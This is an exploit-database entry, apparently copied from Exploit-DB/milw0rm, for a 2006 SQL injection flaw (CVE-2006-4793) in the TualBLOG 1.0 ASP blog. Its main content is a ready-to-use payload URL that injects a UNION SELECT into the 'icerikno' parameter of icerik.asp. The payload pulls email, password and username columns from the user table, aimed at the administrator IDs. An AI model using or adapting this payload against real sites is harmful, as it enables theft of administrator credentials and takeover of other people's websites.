Exploit TualBLOG 1.0 - 'icerikno' SQL Injection

[Exploiter]

EDB-ID

2362

Проверка EDB

1. Пройдено

Автор

RMX

Тип уязвимости

WEBAPPS

Платформа

ASP

CVE

cve-2006-4793

Дата публикации

2006-09-13

# BiyoSecurity.Org
# script name : TualBLOG v 1.0
# Risk : High
# Regards : Dj ReMix
# Thanks : Korsan , Liz0zim
# Vulnerable file : icerik.asp

exp :
http://site.com/[path]/icerik.asp?icerikno=-1%20union+select+mail,sifre,uyeadi+from+tbl_uye+where+uyeno=1

uyeno = 1 or 2( Admin ID )

# milw0rm.com [2006-09-13]